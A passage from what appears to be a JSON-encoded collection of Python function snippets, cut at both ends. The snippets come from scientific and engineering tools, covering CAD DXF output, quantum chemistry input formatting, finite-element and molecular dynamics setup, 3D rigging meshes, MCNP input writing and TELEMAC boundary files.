feilin_name_pos=[70.0+globalconfig.CUTLINE_X_OFFSET,185.0+globalconfig.CUTLINE_Y_OFFSET]\\r\\n #note_pos=[190.0+globalconfig.CUTLINE_X_OFFSET,80.0+globalconfig.CUTLINE_Y_OFFSET]\\r\\n f.write(\\\"0\\\\nSECTION\\\\n2\\\\nBLOCKS\\\\n\\\") #绘制块定义\\r\\n f.write(\\\"0\\\\nBLOCK\\\\n8\\\\n0\\\\n2\\\\nROUND_1\\\\n70\\\\n0\\\\n10\\\\n0.0\\\\n20\\\\n0.0\\\\n30\\\\n0.0\\\\n\\\")\\r\\n f.write(\\\"0\\\\nPOLYLINE\\\\n8\\\\n0\\\\n5\\\\n3F\\\\n66\\\\n1\\\\n10\\\\n0.0\\\\n20\\\\n0.0\\\\n30\\\\n0.0\\\\n70\\\\n1\\\\n\\\")\\r\\n f.write(\\\"40\\\\n0.04\\\\n41\\\\n0.04\\\")\\r\\n f.write(\\\"\\\\n0\\\\nVERTEX\\\\n5\\\\n406\\\\n8\\\\n0\\\\n10\\\\n-0.02\\\\n20\\\\n0.0\\\\n30\\\\n0.0\\\\n42\\\\n1.0\\\")\\r\\n f.write(\\\"\\\\n0\\\\nVERTEX\\\\n5\\\\n407\\\\n8\\\\n0\\\\n10\\\\n0.02\\\\n20\\\\n0.0\\\\n30\\\\n0.0\\\\n42\\\\n1.0\\\\n0\\\\nSEQEND\\\\n5\\\\n408\\\\n8\\\\n0\\\\n\\\")\\r\\n f.write(\\\"0\\\\nENDBLK\\\\n5\\\\n43\\\\n8\\\\n0\\\\n\\\") \\r\\n \\r\\n for layername in layernamelist:\\r\\n layercount=layercount+1\\r\\n f.write(\\\"0\\\\nBLOCK\\\\n8\\\\n0\\\\n2\\\\n*U\\\"+str(layercount)+\\\"\\\\n\\\") \\r\\n f.write(\\\"70\\\\n1\\\\n10\\\\n0.0\\\\n20\\\\n0.0\\\\n30\\\\n0.0\\\\n\\\") \\r\\n f.write(\\\"0\\\\nTEXT\\\\n5\\\\n46\\\\n8\\\\n\\\"+layername+\\\"\\\\n6\\\\nCONTINUOUS\\\\n10\\\\n\\\"+str(feilin_name_pos[0])+\\\"\\\\n20\\\\n\\\"+str(feilin_name_pos[1])+\\\"\\\\n30\\\\n0.0\\\\n\\\")\\r\\n f.write(\\\"40\\\\n\\\"+str(feilinname_lineheight)+\\\"\\\\n1\\\\n\\\"+globalconfig.NAME_OF_FEILIN+\\\"-\\\"+layername+\\\"\\\\n0\\\\nENDBLK\\\\n5\\\\n47\\\\n8\\\\n\\\"+layername+\\\"\\\\n\\\")\\r\\n \\r\\n# layercount=layercount+1\\r\\n# f.write(\\\"0\\\\nBLOCK\\\\n8\\\\n0\\\\n2\\\\n*U\\\"+str(layercount)+\\\"\\\\n\\\") \\r\\n# f.write(\\\"70\\\\n1\\\\n10\\\\n0.0\\\\n20\\\\n0.0\\\\n30\\\\n0.0\\\\n\\\") \\r\\n# f.write(\\\"0\\\\nTEXT\\\\n5\\\\n46\\\\n8\\\\n\\\"+layername+\\\"\\\\n6\\\\nCONTINUOUS\\\\n10\\\\n\\\"+str(note_pos[0])+\\\"\\\\n20\\\\n\\\"+str(note_pos[1])+\\\"\\\\n30\\\\n0.0\\\\n\\\")\\r\\n# f.write(\\\"40\\\\n\\\"+str(note_lineheigh)+\\\"\\\\n1\\\\n\\\")\\r\\n# f.write(\\\"\\\")\\r\\n# f.write(\\\"\\\\n0\\\\nENDBLK\\\\n5\\\\n47\\\\n8\\\\n0\\\\n\\\") \\r\\n \\r\\n f.write(\\\"0\\\\nENDSEC\\\\n\\\")\",\n \"def create_plate(num_wells, name):\\n rows, cols = calc.rows_columns(int(num_wells))\\n new_plate = plate.Plate(rows, cols, name)\\n return new_plate\",\n \"def __init__(self, name, type_name, thickness, grid_front_area, bundles_flow_area, grid_wetted_area, rods_wetted_at_grid_area, P_wet_at_grid, P_bundles, orientation):\\n self.name = name\\n self.type = type_name\\n self.thickness = thickness\\n self.length = self.thickness\\n self.grid_front_area = grid_front_area\\n self.bundles_flow_area = bundles_flow_area\\n self.grid_wetted_area = grid_wetted_area\\n self.rods_wetted_at_grid_area = rods_wetted_at_grid_area\\n self.orientation = orientation\\n self.P_wet_at_grid = P_wet_at_grid\\n self.P_bundles = P_bundles\",\n \"def format_molecule_for_cfour_old(self):\\n\\n text = ''\\n text += 'auto-generated by qcdb from molecule %s\\\\n' % (self.tagline)\\n\\n# # append units and any other non-default molecule keywords\\n# text += \\\" units %-s\\\\n\\\" % (\\\"Angstrom\\\" if self.units() == 'Angstrom' else \\\"Bohr\\\")\\n# if not self.PYmove_to_com:\\n# text += \\\" no_com\\\\n\\\"\\n# if self.PYfix_orientation:\\n# text += \\\" no_reorient\\\\n\\\"\\n\\n # append atoms and coordentries and fragment separators with charge and multiplicity\\n Pfr = 0\\n isZMat = False\\n isCart = False\\n for fr in range(self.nfragments()):\\n if self.fragment_types[fr] == 'Absent' and not self.has_zmatrix():\\n continue\\n# text += \\\"%s %s%d %d\\\\n\\\" % (\\n# \\\"\\\" if Pfr == 0 else \\\" --\\\\n\\\",\\n# \\\"#\\\" if self.fragment_types[fr] == 'Ghost' or self.fragment_types[fr] == 'Absent' else \\\"\\\",\\n# self.fragment_charges[fr], self.fragment_multiplicities[fr])\\n Pfr += 1\\n for at in range(self.fragments[fr][0], self.fragments[fr][1] + 1):\\n if type(self.full_atoms[at]) == ZMatrixEntry:\\n isZMat = True\\n elif type(self.full_atoms[at]) == CartesianEntry:\\n isCart = True\\n if self.fragment_types[fr] == 'Absent':\\n text += \\\"%s\\\" % (\\\"X\\\")\\n elif self.fZ(at) or self.fsymbol(at) == \\\"X\\\":\\n text += \\\"%s\\\" % (self.fsymbol(at))\\n else:\\n text += \\\"%s\\\" % (\\\"GH\\\") # atom info is lost + self.fsymbol(at) + \\\")\\\")\\n text += \\\"%s\\\" % (self.full_atoms[at].print_in_input_format_cfour())\\n text += \\\"\\\\n\\\"\\n\\n # append any coordinate variables\\n if len(self.geometry_variables):\\n for vb, val in self.geometry_variables.items():\\n text += \\\"\\\"\\\"%s=%.10f\\\\n\\\"\\\"\\\" % (vb, val)\\n text += \\\"\\\\n\\\"\\n\\n # prepare molecule keywords to be set as c-side keywords\\n options = collections.defaultdict(lambda: collections.defaultdict(dict))\\n options['CFOUR']['CFOUR_CHARGE']['value'] = self.molecular_charge()\\n options['CFOUR']['CFOUR_MULTIPLICITY']['value'] = self.multiplicity()\\n options['CFOUR']['CFOUR_UNITS']['value'] = self.units()\\n if isZMat and not isCart:\\n options['CFOUR']['CFOUR_COORDINATES']['value'] = 'INTERNAL'\\n elif isCart and not isZMat:\\n options['CFOUR']['CFOUR_COORDINATES']['value'] = 'CARTESIAN'\\n else:\\n raise ValidationError(\\\"\\\"\\\"Strange mix of Cartesian and ZMatrixEntries in molecule unsuitable for Cfour.\\\"\\\"\\\")\\n\\n return text, options\",\n \"def __init__(\\n self,\\n name: str,\\n createStepName: str,\\n surface: Region,\\n interactionProperty: str,\\n mechanicalConstraint: SymbolicConstant = KINEMATIC,\\n contactControls: str = \\\"\\\",\\n ):\\n super().__init__()\\n pass\",\n \"def create_from_bdf(\\n cls,\\n model,\\n comm,\\n nprocs,\\n bdf_file,\\n prefix=\\\"\\\",\\n callback=None,\\n struct_options={},\\n thermal_index=-1,\\n override_rotx=False,\\n ):\\n\\n # Split the communicator\\n world_rank = comm.Get_rank()\\n if world_rank < nprocs:\\n color = 1\\n else:\\n color = MPI.UNDEFINED\\n tacs_comm = comm.Split(color, world_rank)\\n\\n assembler = None\\n f5 = None\\n Fvec = None\\n if world_rank < nprocs:\\n # Create the assembler class\\n fea_assembler = pytacs.pyTACS(bdf_file, tacs_comm, options=struct_options)\\n\\n \\\"\\\"\\\"\\n Automatically adds structural variables from the BDF / DAT file into TACS\\n as long as you have added them with the same name in the DAT file.\\n\\n Uses a custom funtofem callback to create thermoelastic shells which are unavailable\\n in pytacs default callback. And creates the DVs in the correct order in TACS based on DVPREL cards.\\n \\\"\\\"\\\"\\n\\n # get dict of struct DVs from the bodies and structural variables\\n # only supports thickness DVs for the structure currently\\n structDV_dict = {}\\n variables = model.get_variables()\\n structDV_names = []\\n\\n # Get the structural variables from the global list of variables.\\n struct_variables = []\\n for var in variables:\\n if var.analysis_type == \\\"structural\\\":\\n struct_variables.append(var)\\n structDV_dict[var.name.lower()] = var.value\\n structDV_names.append(var.name.lower())\\n\\n # use the default funtofem callback if none is provided\\n if callback is None:\\n include_thermal = any(\\n [\\\"therm\\\" in body.analysis_type for body in model.bodies]\\n )\\n callback = f2f_callback(\\n fea_assembler, structDV_names, structDV_dict, include_thermal\\n )\\n\\n # Set up constitutive objects and elements in pyTACS\\n fea_assembler.initialize(callback)\\n\\n # get any constant loads for static case\\n Fvec = addLoadsFromBDF(fea_assembler)\\n # Fvec = None\\n\\n # Retrieve the assembler from pyTACS fea_assembler object\\n assembler = fea_assembler.assembler\\n\\n # Set the output file creator\\n f5 = fea_assembler.outputViewer\\n\\n # Create the output generator\\n gen_output = TacsOutputGenerator(prefix, f5=f5)\\n\\n # get struct ids for coordinate derivatives and .sens file\\n struct_id = None\\n if assembler is not None:\\n # get list of local node IDs with global size, with -1 for nodes not owned by this proc\\n num_nodes = fea_assembler.meshLoader.bdfInfo.nnodes\\n bdfNodes = range(num_nodes)\\n local_tacs_ids = fea_assembler.meshLoader.getLocalNodeIDsFromGlobal(\\n bdfNodes, nastranOrdering=False\\n )\\n\\n \\\"\\\"\\\"\\n the local_tacs_ids list maps nastran nodes to tacs indices with:\\n local_tacs_ids[nastran_node-1] = local_tacs_id\\n Only a subset of all tacs ids are owned by each processor\\n note: tacs_ids in [0, #local_tacs_ids], #local_tacs_ids <= nnodes\\n for nastran nodes not on this processor, local_tacs_id[nastran_node-1] = -1\\n\\n The next lines of code invert this map to the list 'struct_id' with:\\n struct_id[local_tacs_id] = nastran_node\\n\\n This is then later used by funtofem_model.write_sensitivity_file method to write\\n ESP/CAPS nastran_CAPS.sens files for the tacsAIM to compute shape derivatives\\n \\\"\\\"\\\"\\n\\n # get number of non -1 tacs ids, total number of actual tacs_ids\\n n_tacs_ids = len([tacs_id for tacs_id in local_tacs_ids if tacs_id != -1])\\n\\n # reverse the tacs id to nastran ids map since we want tacs_id => nastran_id - 1\\n nastran_ids = np.zeros((n_tacs_ids), dtype=np.int64)\\n for nastran_id_m1, tacs_id in enumerate(local_tacs_ids):\\n if tacs_id != -1:\\n nastran_ids[tacs_id] = int(nastran_id_m1 + 1)\\n\\n # convert back to list of nastran_ids owned by this processor in order\\n struct_id = list(nastran_ids)\\n\\n # We might need to clean up this code. This is making educated guesses\\n # about what index the temperature is stored. This could be wrong if things\\n # change later. May query from TACS directly?\\n if assembler is not None and thermal_index == -1:\\n varsPerNode = assembler.getVarsPerNode()\\n\\n # This is the likely index of the temperature variable\\n if varsPerNode == 1: # Thermal only\\n thermal_index = 0\\n elif varsPerNode == 4: # Solid + thermal\\n thermal_index = 3\\n elif varsPerNode >= 7: # Shell or beam + thermal\\n thermal_index = varsPerNode - 1\\n\\n # Broad cast the thermal index to ensure it's the same on all procs\\n thermal_index = comm.bcast(thermal_index, root=0)\\n\\n # Create the tacs interface\\n return cls(\\n comm,\\n model,\\n assembler,\\n gen_output,\\n thermal_index=thermal_index,\\n struct_id=struct_id,\\n tacs_comm=tacs_comm,\\n override_rotx=override_rotx,\\n Fvec=Fvec,\\n )\",\n \"def setup_system(filename):\\n pdb = PDBFile(filename)\\n forcefield = ForceField('amber14-all.xml', 'amber14/tip3pfb.xml')\\n\\n #box vectors from charmm-gui files:\\n pdb.topology.setPeriodicBoxVectors((Vec3(5.75760367, 0.0, 0.0),\\n Vec3(0, 5.75760367, 0.0),\\n Vec3(0.0, 0.0, 6.0)))\\n system = forcefield.createSystem(pdb.topology, nonbondedMethod=PME,\\n nonbondedCutoff=1*nanometer, constraints=HBonds)\\n barostat = MonteCarloMembraneBarostat(1*bar, 200*bar*nanometer, 300*kelvin,\\n MonteCarloMembraneBarostat.XYIsotropic, MonteCarloMembraneBarostat.ZFree)\\n system.addForce(barostat)\\n print('Created system')\\n return system, pdb\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSUC3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def createMesh(self, chem, coord_x_start, coord_y_start) :\\r\\n init_conc = .0\\r\\n self.compParDiff(chem)\\r\\n comp.Comp.createMeshHomo(self, 'SC', chem, init_conc, coord_x_start, coord_y_start)\\r\\n #self.meshes[0].setConc(1)\\r\",\n \"def create_simpleMesh(self, forceNew = True, skin = False,connect=True,reverseNormal = None,\\n deleteHistory=False,loftMode = None ):#'evenCubic'\\n _str_func = 'create_simpleMesh'\\n log.debug(\\\"|{0}| >> forceNew: {1} | skin: {2} \\\".format(_str_func,forceNew,skin)+ '-'*80)\\n log.debug(\\\"{0}\\\".format(self))\\n \\n if self.getMayaAttr('isBlockFrame'):\\n log.debug(cgmGEN.logString_sub(_str_func,'blockFrame bypass'))\\n return \\n \\n mParent = False\\n #Check for existance of mesh ========================================================================\\n if connect:\\n bfr = self.msgList_get('simpleMesh',asMeta=True)\\n if skin and bfr:\\n log.debug(\\\"|{0}| >> simpleMesh detected...\\\".format(_str_func)) \\n if forceNew:\\n log.debug(\\\"|{0}| >> force new...\\\".format(_str_func)) \\n mc.delete([mObj.mNode for mObj in bfr])\\n else:\\n return bfr\\n if skin:\\n mModuleTarget = self.getMessageAsMeta('moduleTarget')\\n if not mModuleTarget:\\n return log.error(\\\"|{0}| >> Must have moduleTarget for skining mode\\\".format(_str_func)) \\n mPuppet = puppet_get(self,mModuleTarget)\\n if not mPuppet:\\n return log.error(\\\"|{0}| >> Must have puppet for skining mode\\\".format(_str_func))\\n mGeoGroup = mPuppet.masterNull.geoGroup\\n mParent = mGeoGroup\\n log.debug(\\\"|{0}| >> mPuppet: {1}\\\".format(_str_func,mPuppet))\\n log.debug(\\\"|{0}| >> mGeoGroup: {1}\\\".format(_str_func,mGeoGroup)) \\n log.debug(\\\"|{0}| >> mModuleTarget: {1}\\\".format(_str_func,mModuleTarget))\\n \\n #BlockModule call? ====================================================================================\\n mBlockModule = self.p_blockModule\\n if mBlockModule.__dict__.has_key('create_simpleMesh'):\\n log.debug(\\\"|{0}| >> BlockModule 'create_simpleMesh' call found...\\\".format(_str_func)) \\n ml_mesh = mBlockModule.create_simpleMesh(self,skin=skin,parent=mParent,deleteHistory=deleteHistory)\\n \\n else:#Create ======================================================================================\\n if not loftMode:\\n if self.getEnumValueString('loftDegree') == 'cubic':\\n loftMode = 'evenCubic'\\n else:\\n loftMode = 'evenLinear'\\n \\n \\n kws = {}\\n if self.blockType in ['limb']:\\n if self.addLeverBase and self.getEnumValueString('addLeverBase') != 'joint' and skin:\\n kws['skip'] = [0]\\n \\n ml_mesh = create_simpleLoftMesh(self,form=2,degree=None,divisions=2,deleteHistory=deleteHistory,loftMode=loftMode,**kws)\\n \\n \\n #Get if skin data -------------------------------------------------------------------------------\\n if skin:\\n log.debug(\\\"|{0}| >> skinnable? ...\\\".format(_str_func)) \\n ml_moduleJoints = mModuleTarget.rigNull.msgList_get('moduleJoints')\\n if not ml_moduleJoints:\\n return log.error(\\\"|{0}| >> Must have moduleJoints for skining mode\\\".format(_str_func))\\n log.debug(\\\"|{0}| >> ml_moduleJoints: {1}\\\".format(_str_func,ml_moduleJoints)) \\n\\n md_parents = {}#We're going to un parent our joints before skinning and then reparent\\n for i,mJnt in enumerate(ml_moduleJoints):\\n md_parents[mJnt] = mJnt.getParent(asMeta=True)\\n if i:mJnt.p_parent = ml_moduleJoints[i-1]\\n \\n\\n log.debug(\\\"|{0}| >> skinning..\\\".format(_str_func))\\n #l_joints= [mJnt.mNode for mJnt in ml_moduleJoints]\\n for mMesh in ml_mesh:\\n log.debug(\\\"|{0}| >> skinning {1}\\\".format(_str_func,mMesh))\\n mMesh.p_parent = mParent\\n \\n MRSPOST.skin_mesh(mMesh,ml_moduleJoints)\\n \\n \\\"\\\"\\\"\\n #mMesh.doCopyPivot(mGeoGroup.mNode)\\n try:\\n skin = mc.skinCluster (l_joints,\\n mMesh.mNode,\\n tsb=True,\\n bm=2,\\n wd=0,\\n heatmapFalloff = 1,\\n maximumInfluences = 2,\\n normalizeWeights = 1, dropoffRate=5)\\n except Exception,err:\\n log.warning(\\\"|{0}| >> heat map fail: {1}.. | {2}\\\".format(_str_func,format(self.mNode),err))\\n skin = mc.skinCluster (l_joints,\\n mMesh.mNode,\\n tsb=True,\\n bm=0,\\n maximumInfluences = 2,\\n wd=0,\\n normalizeWeights = 1,dropoffRate=10)\\n skin = mc.rename(skin,'{0}_skinCluster'.format(mMesh.p_nameBase))\\\"\\\"\\\"\\n \\n #Reparent\\n for i,mJnt in enumerate(ml_moduleJoints):\\n mJnt.p_parent = md_parents[mJnt]\\n #pprint.pprint(md_parents)\\n if connect and ml_mesh:\\n self.msgList_connect('simpleMesh',ml_mesh) \\n return ml_mesh\",\n \"def execute(self, fp):\\n fp.Shape = Part.makeCompound(fp.Shape.Solids)\",\n \"def create(self):\\n # TODO: Properly validate data\\n self._proj()\\n if self.cfg.align_heading:\\n self._align()\\n self._griddata()\\n if self.cfg.gap_filter[\\\"algorithm\\\"] != \\\"none\\\":\\n self._gap_filter()\",\n \"def ggpl_bone_structure(file_name):\\n def planeStructure(beamSection, pillarSection, distancePillars, intersectHeights):\\n fStructs = []\\n \\n \\\"\\\"\\\" createFinalStruct\\n \\n Questo metodo crea una pilastro senza travi\\n \\n @param startPoint: Il punto di intersezione del pilastro con la base del piano di lavoro\\n @param height: L'altezza del pilastro\\n @returns: Il pilastro\\n \\\"\\\"\\\"\\n def createFinalStruct(startPoint, height):\\n pillar = CUBOID([pillarSection[0], pillarSection[1], height])\\n return STRUCT([T(2)(startPoint), pillar])\\n\\n \\\"\\\"\\\" createFStruct\\n \\n Questo metodo crea la struttura portante con il pilastro e le travi di riferimento\\n \\n @param startPoint: Il punto di intersezione del pilastro con la base del piano di lavoro\\n @param height: L'altezza del pilastro\\n @param lengthBeam: La lunghezza delle travi\\n @returns: Il pilastro\\n \\\"\\\"\\\"\\n def createFStruct(startPoint, height, lengthBeam):\\n fStruct = []\\n\\n fStruct.append(createFinalStruct(startPoint, height))\\n hPillar = 0\\n for i in range(len(intersectHeights)):\\n beam = CUBOID([beamSection[1], lengthBeam, beamSection[0]])\\n hPillar += intersectHeights[i]\\n fStruct.append(STRUCT([\\n T(3)(hPillar),\\n T(2)(pillarSection[1] + startPoint),\\n beam\\n ]))\\n return STRUCT(fStruct)\\n\\n height = SUM(intersectHeights) + beamSection[1]\\n\\n startDistance = 0\\n for iterator in range(len(distancePillars)):\\n fStructs.append(createFStruct(startDistance, height, distancePillars[iterator]))\\n\\n startDistance = startDistance + pillarSection[1] + distancePillars[iterator]\\n\\n fStructs.append(createFinalStruct(startDistance, height))\\n\\n return STRUCT(fStructs)\\n \\n \\\"\\\"\\\" createTrasversalBeam\\n \\n Questa funzione crea le travi di collegamento tra una parete e l'altra\\n \\n @param beanSection: una tupla (bx,bz) che contiene la dimensione delle travi\\n @param pillarSection: una tupla (px,py) che contiene la dimensione dei pilastri\\n @param distancePillars: una lista di distanze relative tra un pilastro e l'altro\\n @param intersectHeights: una lista di altezze relative che indicano la distranza tra una trave e l'altra sull'asse x\\n @returns: la struttura base, che corrisponde ad una parete dell'edificio\\n \\\"\\\"\\\"\\n def createTrasversalBeam(distance, beamSection, pillarSection, distancePillars, intersectHeights):\\n y = []\\n for index in range(len(distancePillars)):\\n y.append(pillarSection[1])\\n y.append(- distancePillars[index])\\n y.append(pillarSection[1])\\n\\n x = [\\n - pillarSection[0],\\n distance\\n ]\\n\\n z = []\\n for i in range(len(intersectHeights)):\\n if i == 0:\\n z.append(-intersectHeights[i])\\n else:\\n z.append(-intersectHeights[i] + beamSection[1])\\n z.append(beamSection[1])\\n\\n return PROD([\\n PROD([QUOTE(x), QUOTE(y)]),\\n QUOTE(z)\\n ])\\n \\n \\\"\\\"\\\" parseCSV\\n \\n Questo metodo prende in input un file_name che indica il file csv da parsare per avere le informazioni della struttura\\n \\n Argomenti:\\n file_name (string): il file name del file csv\\n \\n Yields:\\n transaction: il vettore di traslazione tra una parete e l'altra\\n beanSection: una tupla (bx,bz) che contiene la dimensione delle travi\\n pillarSection: una tupla (px,py) che contiene la dimensione dei pilastri\\n distancePillars: una lista di distanze relative tra un pilastro e l'altro\\n intersectHeights: una lista di altezze relative che indicano la distranza tra una trave e l'altra sull'asse x\\n \\\"\\\"\\\"\\n def parseCSV(file_name):\\n odd = True\\n transaction = None\\n with open(file_name, 'rb') as csvfile:\\n builderreader = csv.reader(csvfile)\\n\\n for row in builderreader:\\n if odd:\\n odd = False\\n transaction = [float(row[0]), float(row[1]), float(row[2])]\\n else:\\n odd = True\\n beamSection = [float(row[0]), float(row[1])]\\n pillarSection = [float(row[2]), float(row[3])]\\n\\n distancePillars = []\\n start_point = 5\\n finish_point = int(row[4]) + start_point\\n for index in range(start_point, finish_point):\\n distancePillars.append(int(row[index]))\\n\\n intersectHeights = []\\n start_point = finish_point + 1\\n finish_point = int(row[finish_point]) + start_point\\n for index in range(start_point, finish_point):\\n intersectHeights.append(int(row[index]))\\n\\n yield transaction, beamSection, pillarSection, distancePillars, intersectHeights\\n\\n frames = []\\n for transaction, beamSection, pillarSection, distancePillars, intersectHeights in parseCSV(file_name):\\n frames.append(T(2)(transaction[1]))\\n\\n if transaction[0] != 0:\\n frames.append(\\n createTrasversalBeam(\\n transaction[0], beamSection, pillarSection, distancePillars,intersectHeights\\n )\\n )\\n\\n frames.append(T([1, 3])([transaction[0], transaction[2]]))\\n frames.append(\\n planeStructure(beamSection, pillarSection, distancePillars, intersectHeights)\\n )\\n\\n return STRUCT(frames)\",\n \"def createComplejoPlatino(c_dict):\\n\\tnom = c_dict['nombre'].split()\\n\\tnom.insert(1, 'Platino')\\n\\tnombre = ' '.join(nom)\\n\\tc_dict['nombre'] = nombre\\n\\tc_dict['id_org'] = int(c_dict['id_org']) + 10000\\n\\tcreateComplejo(c_dict)\",\n \"def _make_mcnp_input(self):\\n # Create the problem description\\n lines = ['Point source in infinite geometry']\\n\\n # Create the cell cards: material 1 inside sphere, void outside\\n lines.append('c --- Cell cards ---')\\n if self._temperature is not None:\\n kT = self._temperature * K_BOLTZMANN * 1e-6\\n lines.append(f'1 1 -{self.density} -1 imp:n=1 tmp={kT}')\\n else:\\n lines.append(f'1 1 -{self.density} -1 imp:n=1')\\n lines.append('2 0 1 imp:n=0')\\n lines.append('')\\n\\n # Create the surface cards: box centered on origin with 2e9 cm sides`\\n # and reflective boundary conditions\\n lines.append('c --- Surface cards ---')\\n lines.append('*1 rpp -1.e9 1e9 -1.e9 1.e9 -1.e9 1.e9')\\n lines.append('')\\n\\n # Create the data cards\\n lines.append('c --- Data cards ---')\\n\\n # Materials\\n if re.match('(71[0-6]nc)', self.suffix):\\n name = szax(self.nuclide, self.suffix)\\n else:\\n name = zaid(self.nuclide, self.suffix)\\n lines.append(f'm1 {name} 1.0')\\n if self.thermal is not None:\\n lines.append(f'mt1 {self.thermal}')\\n lines.append('nonu 2')\\n\\n # Physics: neutron transport\\n lines.append('mode n')\\n\\n # Source definition: isotropic point source at center of sphere\\n energy = self.energy * 1e-6\\n lines.append(f'sdef cel=1 erg={energy}')\\n\\n # Tallies: neutron flux over cell\\n lines.append('f4:n 1')\\n min_energy = self._min_energy * 1e-6\\n lines.append(f'e4 {min_energy} {self._bins-1}ilog {1.0001*energy}')\\n\\n # Problem termination: number of particles to transport\\n lines.append(f'nps {self.particles}')\\n\\n # Write the problem\\n with open(self.other_dir / 'inp', 'w') as f:\\n f.write('\\\\n'.join(lines))\",\n \"def goify(self, layout=None):\\n xx,yy,zz = self.getXYZ(layout)\\n surf = dict(\\n type='surface',\\n x=xx,\\n y=yy,\\n z=zz\\n )\\n return surf\",\n \"def __init__(self, name, geometry, envelope, typology, hvac,\\n rc_model, comfort, internal_loads, age, solar, supply):\\n\\n self.name = name\\n self.geometry = geometry\\n self.geometry['floor_height'] = calc_floor_to_floor_height(self.geometry['height_ag'],\\n self.geometry['floors_ag'])\\n self.architecture = EnvelopeProperties(envelope)\\n self.typology = typology # FIXME: rename to uses!\\n self.hvac = hvac\\n self.rc_model = rc_model\\n self.comfort = comfort\\n self.internal_loads = internal_loads\\n self.age = age\\n self.solar = SolarProperties(solar)\\n self.supply = supply\\n self.building_systems = self._get_properties_building_systems()\",\n \"def generate_bnd(cli_file, geo_file, slf_file, bnd_file, varnames, varunits):\\n\\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\\n# ~~~~ cli+slf new mesh ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n if not path.exists(cli_file):\\n raise TelemacException(\\\\\\n '... the provided cli_file does not seem to exist:'\\n ' {}\\\\n\\\\n'.format(cli_file))\\n if not path.exists(geo_file):\\n raise TelemacException(\\\\\\n '... the provided geo_file does not seem to exist: '\\n '{}\\\\n\\\\n'.format(geo_file))\\n\\n if len(varnames) != len(varunits):\\n raise TelemacException(\\\\\\n 'Not the same number of variables and units\\\\nvarnames: {}\\\\nvarunits: {}'\\n '{}\\\\n\\\\n'.format(varnames, varunits))\\n\\n\\n # Read the new CLI file to get boundary node numbers\\n print(' +> getting hold of the Conlim file and of its liquid boundaries')\\n cli = Conlim(cli_file)\\n # Keeping only open boundary nodes\\n bor = np.extract(cli.bor['lih'] != 2, cli.bor['n'])\\n\\n # Find corresponding (x,y) in corresponding new mesh\\n print(' +> getting hold of the GEO file and of its bathymetry')\\n geo = Selafin(geo_file)\\n xys = np.vstack((geo.meshx[bor-1], geo.meshy[bor-1])).T\\n _ = geo.get_variables_at(0,\\\\\\n subset_variables_slf(\\\"BOTTOM: \\\", geo.varnames)[0])[0]\\n\\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\\n# ~~~~ slf existing res ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n if not path.exists(slf_file):\\n raise TelemacException(\\\\\\n '... the provided slf_file does not seem to exist: '\\n '{}\\\\n\\\\n'.format(slf_file))\\n slf = Selafin(slf_file)\\n slf.set_kd_tree()\\n slf.set_mpl_tri()\\n\\n print(' +> support extraction')\\n # Extract triangles and weigths in 2D\\n support2d = []\\n ibar = 0\\n pbar = ProgressBar(maxval=len(xys)).start()\\n for xyi in xys:\\n support2d.append(xys_locate_mesh(xyi, slf.ikle2, slf.meshx, slf.meshy,\\n slf.tree, slf.neighbours))\\n ibar += 1\\n pbar.update(ibar)\\n pbar.finish()\\n # Extract support in 3D\\n support3d = list(zip(support2d, len(xys)*[range(slf.nplan)]))\\n\\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\\n# ~~~~ writes BND header ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\\n bnd = Selafin('')\\n bnd.fole = {}\\n bnd.fole.update({'hook':open(bnd_file, 'wb')})\\n bnd.fole.update({'name':bnd_file})\\n bnd.fole.update({'endian':\\\">\\\"}) # big endian\\n bnd.fole.update({'float':('f', 4)}) # single precision\\n\\n # Meta data and variable names\\n bnd.title = ''\\n bnd.nbv1 = len(varnames)\\n # /!\\\\ ELEVATION has to be the first variable\\n # (for possible vertical re-interpolation within TELEMAC)\\n\\n bnd.varnames = []\\n bnd.varunits = []\\n for var, unit in zip(varnames, varunits):\\n new_var = var + (16-len(var))*\\\" \\\"\\n new_unit = unit + (16-len(unit))*\\\" \\\"\\n bnd.varnames.append(new_var)\\n bnd.varunits.append(new_unit)\\n\\n bnd.nvar = bnd.nbv1\\n bnd.varindex = range(bnd.nvar)\\n\\n # Sizes and mesh connectivity\\n bnd.nplan = slf.nplan\\n # Number of nodes per boundary element (ndp2 in 2D and ndp3 in 3D)\\n bnd.ndp2 = 2\\n bnd.ndp3 = 4\\n bnd.npoin2 = len(bor)\\n bnd.npoin3 = bnd.npoin2*slf.nplan\\n bnd.iparam = [0, 0, 0, 0, 0, 0, bnd.nplan, 0, 0, 1]\\n bnd.ipob2 = bor # /!\\\\ note that ipobo keeps the original numbering\\n print(' +> masking and setting connectivity')\\n # Set the array that only includes elements of geo.ikle2\\n # with at least two nodes in bor\\n array_1d = np.in1d(geo.ikle2, np.sort(bor-1))\\n mask = geo.ikle2[np.where(np.sum(array_1d.reshape(geo.nelem2, geo.ndp2),\\n axis=1) == 2)]\\n # this ikle2 keeps the original numbering\\n ikle2 = np.ravel(mask)[np.in1d(mask, np.sort(bor-1))].reshape(len(mask), 2)\\n # ~~> re-numbering ikle2 as a local connectivity matrix\\n knolg, _ = np.unique(np.ravel(ikle2), return_index=True)\\n knogl = dict(zip(knolg, range(len(knolg))))\\n bnd.ikle2 = - np.ones_like(ikle2, dtype=np.int)\\n for k in range(len(ikle2)):\\n # /!\\\\ bnd.ikle2 has a local numbering, fit to the boundary elements\\n bnd.ikle2[k] = [knogl[ikle2[k][0]], knogl[ikle2[k][1]]]\\n # Last few numbers\\n bnd.nelem2 = len(bnd.ikle2)\\n if slf.nplan > 1:\\n bnd.nelem3 = bnd.nelem2*(slf.nplan-1)\\n else:\\n bnd.nelem3 = bnd.nelem2\\n bnd.ndp3 = bnd.ndp2\\n # 3D structures\\n if slf.nplan > 1:\\n bnd.ipob3 = 